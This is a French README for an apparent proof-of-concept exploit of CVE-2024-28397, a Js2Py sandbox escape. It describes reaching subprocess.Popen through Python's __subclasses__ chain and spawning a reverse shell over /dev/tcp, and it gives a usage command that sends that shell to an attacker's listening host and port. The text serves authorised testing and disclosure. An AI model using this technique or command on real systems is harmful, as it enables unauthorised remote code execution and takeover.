Ce dépôt contient une preuve de concept (PoC) pour CVE-2024-28397, une vulnérabilité dans la bibliothèque js2py permettant une évasion de sandbox afin d'obtenir une exécution de code à distance.
Description
Ce dépôt contient une preuve de concept (PoC) basée sur Python pour CVE-2024-28397, une vulnérabilité d'évasion de sandbox dans l'interpréteur JavaScript Js2Py pour Python. Lorsque l'application cible évalue du code JS non fiable via Js2Py, un attaquant peut s'échapper de la sandbox et exécuter du code Python arbitraire. Cela peut être exploité pour obtenir une exécution de code à distance (RCE) et un shell inverse sur le système vulnérable.
Cet exploit s'inspire du projet CVE-2024-28397-js2py-Sandbox-Escape de Marven11.
Avertissement
Ce script est fourni à des fins éducatives et de tests d'intrusion autorisés uniquement. L'utilisation non autorisée de ce script contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test est illégale et contraire à l'éthique. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce script.
À propos de la vulnérabilité
__class__.__base__.__subclasses__, conduisant à une exécution de code arbitraireFonctionnalités
Prérequis
requests (pip install requests)/dev/tcp)Utilisation
python3 exploit.py --target http://example.htb --lhost 10.10.14.51 --lport 4444
--target : l'URL complète du point de terminaison de l'application web vulnérable--lhost : votre adresse IP locale (utilisée pour le shell inverse)--lport : votre port local pour recevoir le shellFonctionnement
__class__.__base__.__subclasses__() pour trouver subprocess.Popen.Popen pour décoder et exécuter le shell.